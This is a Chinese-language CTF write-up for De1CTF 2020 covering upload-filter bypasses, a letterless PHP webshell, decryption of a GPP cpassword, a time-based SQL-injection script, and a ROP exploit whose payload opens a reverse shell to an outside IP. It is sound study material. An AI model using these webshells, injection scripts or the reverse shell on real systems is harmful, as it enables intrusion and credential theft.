De1CTF2020部分题解

De1CTF2020部分题解

这个比赛太考工作量,个人感觉知识量也比较大,另外De1ta的师傅们原来这么爱玩MC啊🤔,写一下几个题的题解,主要记录一下学到的东西。

check in

考察上传绕过,一是在上传.htaccess时对关键字进行绕过,二是在传马时对<?php进行绕过

解题

打开题目,随便上传个php的小马,回显如下:

php的后缀既然不行,那应该就是图片马了,八成是要用.htaccess解析,看一下响应头中服务器的架构:Apache/2.4.6 (CentOS) PHP/5.4.16,基本是确实是传.htaccess

构造.htaccessjpg进行解析:

AddType application/x-httpd-php .jpg

上传之后回显如下:

perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet

这些字段被ban了,不过.htaccess中可以用python换行时候一种解析语法:

AddType application/x-httpd-p\
hp .jpg

上传的时候注意改Content-Type,如图:

如此便可以成功上传,然后传jpg的图片马就行了,注意图片马里的<?php标签也需要绕过,可以用<?=,如下图:

上传小马之后,拿到文件路径,传system("cat /flag");即可拿到flag。

Hard_present_1

考察文件上传利用NTFS流绕过文件名检测、无字母数字shell构造、域渗透

题目分析

进入题目,给出如下源码:

<?php
//Clear the uploads directory every hour
highlight_file(__FILE__);
$sandbox = "uploads/". md5("De1CTF2020".$_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if($_POST["submit"]){
if (($_FILES["file"]["size"] < 2048) && Check()){
if ($_FILES["file"]["error"] > 0){
die($_FILES["file"]["error"]);
}
else{
$filename=md5($_SERVER['REMOTE_ADDR'])."_".$_FILES["file"]["name"];
move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
echo "save in:" . $sandbox."/" . $filename;
}
}
else{
echo "Not Allow!";
}
}

function Check(){
$BlackExts = array("php");
$ext = explode(".", $_FILES["file"]["name"]);
$exts = trim(end($ext));
$file_content = file_get_contents($_FILES["file"]["tmp_name"]);

if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content) &&
!in_array($exts, $BlackExts) &&
!preg_match('/\.\./',$_FILES["file"]["name"])) {
return true;
}
return false;
}
?>

审计一下发现文件名处有过滤,并且上传的文件中不能包含数字小写字母;~^&|反引号等,根据这个规则,肯定需要构造无数字字母的shell了,之前看过p神的一篇文章讲过,不过这里由于也被过滤,需要用短标签来绕过。

BP抓包发现服务器是Windows server,这种情况下的文件上传可以利用NTFSDATA特性进行绕过,参考这里用NTFS特性和无数字字母shell绕过限制上传,组策略泄露密码。

成功拿到shell之后,在服务器上找到了flag的压缩包,解压需要密码,这里考了一种域渗透,利用SYSVOL还原组策略中保存的密码,参考这篇文章

解题思路很明确了:利用NTFS特性和无数字字母shell绕过限制上传,组策略泄露密码。

解题

结合p神那篇文章里给出的shell构造方法,对其进行短标签拼接之后,shell脚本如下(由hpdoger师傅提供):

<?=$_=[]?>
<?=$_=@"$_"?>

<?=$_=$_['!'=='@']?>

<?=$__=$_?>
<?=$____='_'?>

<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?> //S

<?=$___=$__?>

<?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?> //SY

<?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?> //SYS

<?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?> //SYST

<?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?> //SYSTE

<?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?> //SYSTEM

<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$____.=$__?> //_P

<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$____.=$__?> //_PO

<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$____.=$__?> //_POS

<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$____.=$__?> //_POST

<?=$_=$$____?>

<?=$___($_[_])?>
//system($_POST[_])
//用的时候注释要去掉

需要注意一点:asserteval在php7.2不属于函数,因此构造system

利用NTFS的DATA特性绕过过滤上传小马,成功拿到shell:

利用这个shell,再传一个普通shell上去:

_=echo ^<?php eval($_POST[a]); > ma.php

查看一下是否成功写入:

成功写入普通shell,蚁剑连接即可,在Hint目录下发现疑似flag的压缩包:

压缩包下载出来之后需要密码,终端net user /domain看到存在HintZip_Pass用户,显然,这个用户密码应该就是压缩包的密码了,下面就需要进行域渗透了。

终端net use获取到如下信息:

看到SYSVOL组策略的存在,读取其Groups.xml,内容如下:

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="HintZip_Pass" image="2" changed="2020-04-15 14:43:23" uid="{D33537C1-0BDB-44B7-8628-A6030A298430}"><Properties action="U" newName="" fullName="" description="" cpassword="uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08" changeLogon="1" noChange="0" neverExpires="0" acctDisabled="0" userName="HintZip_Pass"/></User>
</Groups>

其中的cpassword="uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08"就是该用户的密码,不过是经过AES加密的,参考域渗透那篇文章里的解密ps脚本:

function Get-DecryptedCpassword {
[CmdletBinding()]
Param (
[string] $Cpassword
)

try {
#Append appropriate padding based on string length
$Mod = ($Cpassword.length % 4)

switch ($Mod) {
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
'2' {$Cpassword += ('=' * (4 - $Mod))}
'3' {$Cpassword += ('=' * (4 - $Mod))}
}

$Base64Decoded = [Convert]::FromBase64String($Cpassword)

#Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)

#Set IV to all nulls to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)

return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
}

catch {Write-Error $Error[0]}
}
Get-DecryptedCpassword "uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08"

或者到这里下载开源的解密脚本

用命令跑解密脚本powershell.exe -executionpolicy bypass -file get-DecryptedCpassword.ps1

成功拿到密码,解密即可拿到flag以及下一题的提示:

flag1: De1CTF{GpP_11Is_SoOOO_Ea3333y}

Get flag2 Hint:
hint1: You need De1ta user to get flag2
hint2: De1ta user's password length is 1-8, and the password is composed of [0-9a-f].
hint3: Pay attention to the extended rights of De1ta user on the domain.
hint4: flag2 in Domain Controller (C:\Users\Administrator\Desktop\flag.txt)

PS: Please do not damage the environment after getting permission, thanks QAQ.

这道题学会了不少,Windows Server下的NTFS文件上传绕过、域渗透,在之前做过的题里很少见。

Hard_Pentest_2

域渗透-利用资源约束委派进行提权

Mixture

一道web+pwn题,这题是队里的大师傅们做的,我就摸鱼偷学点知识。

解题

首先利用benchmark注出admin的密码,从师傅那里漂到脚本学习了一番:

#coding:utf-8
import requests

#select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
#select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = 'test'
#select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA = 'xxx' and TABLE_NAME = 'xxx'
string = ''

session = requests.Session()
headers= {
"Cookie":"PHPSESSID=g6u5esdng9h7a2ei3m93srf0mp"
}

for i in range(1,100):
for j in range(32,128):
# print(j)
url = "http://134.175.185.244/member.php?orderby=,ISNULL(CASE WHEN (ascii(substr((select password from member where id=1),{0},1))={1}) THEN BENCHMARK(2000000,SHA1(123)) ELSE 2 END)".format(i,j)
r=session.get(url,headers = headers,cookies = cookies)
# print(url)
sec=r.elapsed.seconds
if sec > 3:
string += chr(j)
print(chr(j))
break
print(string)

后面发现有个Mininclude,后面就是pwn的了,从大师傅那里拿到的源码,仔细读读,真的不会…

#encoding:utf-8
import requests
import sys
import os
from pwn import *
from Crypto.Util.number import *

s = requests.Session()

headers= {
"Cookie":"PHPSESSID=g6u5esdng9h7a2ei3m93srf0mp"
}
php_base = 0x7f546c3f7000
libc_base = 0x7f546eacb000
minclude_base = 0x7f546d84a000


#filename = "index.php" #Here input filename you want to read
INITIAL = 1526 - 9

def main():
global INITIAL, php_base, minclude_base, libc_base
if len(sys.argv) < 2:
print('usage: {} path'.format(sys.argv[0]))
return

exp = False
debug = False
filename = sys.argv[1] #Here input filename you want to read
if filename == 'exp' or filename == 'debug':
if filename == 'debug':
debug = True
php_base = 0x7f40b6ec3000
minclude_base = 0x7f40b6eba000
libc_base = 0x7f40b7fa0000
orig_ret = 0x7f546d151ac0
pop_rdi = php_base + 0x000000000014b260 # pop rdi ; ret
php_info = 0x47bd10 - 0x100000 + php_base
ret = php_base + 0x14b261
jmp_rdi = php_base + 0x000000000019f729 # jmp rdi
if debug:
mov_to_rdi = 0x00000000000494ea + libc_base # mov qword ptr [rdi], rsi ; ret
else:
mov_to_rdi = 0x00000000000494e5 + libc_base # mov eax, 1 ; mov qword ptr [rdi], rsi ; ret
pop_pop = 0x000000000000135e + minclude_base # pop rbp ; pop r12 ; ret
pop_rsi = 0x000000000002440e + libc_base # pop rsi ; ret
exp = True


system = libc_base + 0x449c0
halt = p64(pop_rdi) + p64(jmp_rdi) + p64(jmp_rdi)
def write(addr, val):
assert len(val) == 8
return p64(pop_rdi) + p64(addr) + p64(pop_rsi) + val + p64(mov_to_rdi)
area = minclude_base + 0x4000
cmd = b"php -r '$sock=fsockopen(\"118.178.180.118\",52333);exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
cur = 0
rop = b''
buf = cmd[:8]
rop += write(area, buf)
cur += 8
buf = cmd[8:16]
rop += write(area + 8, buf)
cur += 8
rop += p64(pop_pop)
rop += p64(0xdeadbeef)
rop += p64(0xdeadbeef)

while cur < len(cmd):
buf = cmd[cur: cur+8]
if len(buf) != 8:
buf = buf.ljust(8, b'\0')
rop += write(area + cur, buf)
cur += 8

rop += p64(pop_rdi)
rop += p64(area)
rop += p64(system)
rop += halt
filename = b'a' * (0x88) + rop
INITIAL += len(filename)



if len(sys.argv) == 3:
save_filename = sys.argv[2]
else:
save_filename = os.path.basename(filename)
data = {
"search":filename,
"submit":"submit"
}

#url = "http://134.175.185.244/select.php"
if debug:
url = "http://localhost:51111/select.php"
else:
#url = "http://49.51.251.99/select.php"
url = "http://134.175.185.244/select.php"
r = requests.post(url, data=data, headers=headers)
if not exp:
f = open(save_filename, "wb")
f.write(r.content[INITIAL:])
f.close()
else:
print(r.content)

if __name__ == '__main__':
main()

这题就先放一下把,需要慢慢消化。

Misc Chowder

考察流量审计、压缩包密码爆破、NTFS流隐藏文件

知识扩展

参考关于NTFS数据流及文件隐藏

NTFS交换数据流(alternate data streams,简称ADS)是NTFS磁盘格式的一个特性,在NTFS文件系统下,每个文件都可以存在多个数据流,就是说除了主文件流之外还可以有许多非主文件流寄宿在主文件流中。它使用资源派生来维持与文件相关的信息,虽然我们无法看到数据流文件,但是它却是真实存在于我们的系统中的。创建一个数据交换流文件的方法很简单,命令为“宿主文件:准备与宿主文件关联的数据流文件”。

利用这种数据流关联的方式,即可将一个文件的数据流关联到另一个文件上,这种方式下,目录下直接dir是看不到被关联的数据流的(当然被关联的原始文件肯定不在这个文件夹下),即实现了隐藏,不过dir /r可以将其列举出来。

解题

拿到题目,是一个流量包,流量审计发现进行了多次upload,利用wireshark导出HTTP对象可以将上传的文件导出:

在导出HTTP对象时,可以看到有7次upload的动作,每一组包含两个可导出的对象upload_file.php,注意观察,两个对象里一个是multipart/form-data一个是text/html的,显然前者是包含上传文件的数据的,将其导出,导出之后直接打开发现是上传文件时候的包数据,而不是php代码:

而且显然,图片的数据就在其中,那就简单了,010editor将数据处理下,只保留图片数据,再改后缀就行了嘛

一个资源的url,访问可以下载到一个docx的压缩包,解压打开是这个样子…

考虑到之前有的docx文件会隐藏压缩包,拖到解压工具里看看,还真有

但是需要密码,到这一步,题目也给出Hint:压缩包密码暴破考点中,密码的长度为6位,前两位为DE
那就掩码爆破呗,上ARCHPR,设置成掩码模式,开始跑~

拿到密码~

解压之后发现还是一张图,套娃了。。。

不过这个图拖到解压工具里又可以看到三个文件:

flag.txt里的文件是假的,但是只要三个文件,图片中又提示I AM FLAG,试了其他办法也不行…
后来了解到,可能是利用了NTFS数据流来隐藏flag了,Windows下列举解压出的目录试试:

果然存在隐藏的NTFS流,将fffffffflllll.txt的内容关联到了666.jpg里,这样,其实用notepad读取666.jpg:fffffffflllll.txt就可以了

成长路上,要学的还很多

Comments


:D 一言句子获取中...

Loading...Wait a Minute!